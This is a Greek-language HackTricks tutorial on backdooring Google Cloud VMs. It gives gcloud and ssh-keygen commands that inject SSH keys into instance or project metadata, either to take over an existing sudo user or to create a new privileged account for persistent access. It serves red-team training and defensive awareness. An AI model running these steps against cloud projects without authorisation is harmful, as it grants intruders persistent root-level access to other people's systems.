GCP - Προσθήκη Προσαρμοσμένων SSH Μεταδεδομένων

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τροποποίηση των μεταδεδομένων

Η τροποποίηση των μεταδεδομένων σε μια παρουσία μπορεί να οδηγήσει σε σημαντικούς κινδύνους ασφαλείας αν ένας επιτιθέμενος αποκτήσει τις απαραίτητες άδειες.

Ενσωμάτωση Κλειδιών SSH σε Προσαρμοσμένα Μεταδεδομένα

Στο GCP, τα συστήματα Linux συχνά εκτελούν σενάρια από το Python Linux Guest Environment for Google Compute Engine. Ένα κρίσιμο στοιχείο αυτού είναι το accounts daemon, το οποίο έχει σχεδιαστεί για να ελέγχει τακτικά το σημείο μεταδεδομένων της παρουσίας για ενημερώσεις στα εξουσιοδοτημένα δημόσια κλειδιά SSH.

Επομένως, αν ένας επιτιθέμενος μπορεί να τροποποιήσει τα προσαρμοσμένα μεταδεδομένα, θα μπορούσε να κάνει το daemon να βρει ένα νέο δημόσιο κλειδί, το οποίο θα επεξεργαστεί και θα ενσωματωθεί στο τοπικό σύστημα. Το κλειδί θα προστεθεί στο αρχείο ~/.ssh/authorized_keys ενός υπάρχοντος χρήστη ή ενδεχομένως να δημιουργήσει έναν νέο χρήστη με δικαιώματα sudo, ανάλογα με τη μορφή του κλειδιού. Και ο επιτιθέμενος θα είναι σε θέση να παραβιάσει τον υπολογιστή.

Προσθήκη κλειδιού SSH σε υπάρχοντα προνομιούχο χρήστη

  1. Εξέταση Υπαρχόντων Κλειδιών SSH στην Παρουσία:
  • Εκτελέστε την εντολή για να περιγράψετε την παρουσία και τα μεταδεδομένα της για να εντοπίσετε τα υπάρχοντα κλειδιά SSH. Η σχετική ενότητα στην έξοδο θα είναι κάτω από metadata, συγκεκριμένα το κλειδί ssh-keys.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Δώστε προσοχή στη μορφή των κλειδιών SSH: το όνομα χρήστη προηγείται του κλειδιού, χωρισμένο με άνω και κάτω τελεία.
  1. Προετοιμασία Αρχείου Κειμένου για Μεταδεδομένα Κλειδιού SSH:
  • Αποθηκεύστε τις λεπτομέρειες των ονομάτων χρηστών και των αντίστοιχων κλειδιών SSH σε ένα αρχείο κειμένου με όνομα meta.txt. Αυτό είναι απαραίτητο για τη διατήρηση των υπαρχόντων κλειδιών ενώ προστίθενται νέα.
  1. Δημιουργία Νέου Κλειδιού SSH για τον Στόχο Χρήστη (alice σε αυτό το παράδειγμα):
  • Χρησιμοποιήστε την εντολή ssh-keygen για να δημιουργήσετε ένα νέο κλειδί SSH, διασφαλίζοντας ότι το πεδίο σχολίου (-C) ταιριάζει με το όνομα του στόχου χρήστη.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Προσθέστε το νέο δημόσιο κλειδί στο meta.txt, μιμούμενοι τη μορφή που βρέθηκε στα μεταδεδομένα της παρουσίας.
  1. Ενημέρωση των Μεταδεδομένων Κλειδιού SSH της Παρουσίας:
  • Εφαρμόστε τα ενημερωμένα μεταδεδομένα κλειδιού SSH στην παρουσία χρησιμοποιώντας την εντολή gcloud compute instances add-metadata.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Πρόσβαση στην Παρουσία Χρησιμοποιώντας το Νέο Κλειδί SSH:
  • Συνδεθείτε στην παρουσία με SSH χρησιμοποιώντας το νέο κλειδί, αποκτώντας πρόσβαση στο shell στο πλαίσιο του στόχου χρήστη (alice σε αυτό το παράδειγμα).
ssh -i ./key alice@localhost
sudo id

Δημιουργία νέου προνομιούχου χρήστη και προσθήκη κλειδιού SSH

Αν δεν βρεθεί ενδιαφέρον χρήστης, είναι δυνατόν να δημιουργηθεί ένας νέος που θα του δοθούν δικαιώματα sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

Είναι δυνατόν να διευρυνθεί η πρόσβαση SSH σε πολλές Εικονικές Μηχανές (VMs) σε ένα περιβάλλον cloud εφαρμόζοντας κλειδιά SSH σε επίπεδο έργου. Αυτή η προσέγγιση επιτρέπει την πρόσβαση SSH σε οποιαδήποτε παρουσία εντός του έργου που δεν έχει ρητά αποκλείσει τα κλειδιά SSH σε επίπεδο έργου. Ακολουθεί ένας συνοπτικός οδηγός:

  1. Εφαρμογή Κλειδιών SSH σε Επίπεδο Έργου:
  • Χρησιμοποιήστε την εντολή gcloud compute project-info add-metadata για να προσθέσετε κλειδιά SSH από το meta.txt στα μεταδεδομένα του έργου. Αυτή η ενέργεια διασφαλίζει ότι τα κλειδιά SSH αναγνωρίζονται σε όλες τις VMs του έργου, εκτός αν μια VM έχει ενεργοποιημένη την επιλογή “Αποκλεισμός κλειδιών SSH σε επίπεδο έργου”.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH σε Παρουσίες Χρησιμοποιώντας Κλειδιά σε Επίπεδο Έργου:
  • Με τα κλειδιά SSH σε επίπεδο έργου στη θέση τους, μπορείτε να κάνετε SSH σε οποιαδήποτε παρουσία εντός του έργου. Παρουσίες που δεν αποκλείουν τα κλειδιά σε επίπεδο έργου θα αποδεχτούν το κλειδί SSH, παρέχοντας πρόσβαση.
  • Μια άμεση μέθοδος για να κάνετε SSH σε μια παρουσία είναι η χρήση της εντολής gcloud compute ssh [INSTANCE]. Αυτή η εντολή χρησιμοποιεί το τρέχον όνομα χρήστη σας και τα κλειδιά SSH που έχουν οριστεί σε επίπεδο έργου για να προσπαθήσει να αποκτήσει πρόσβαση.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks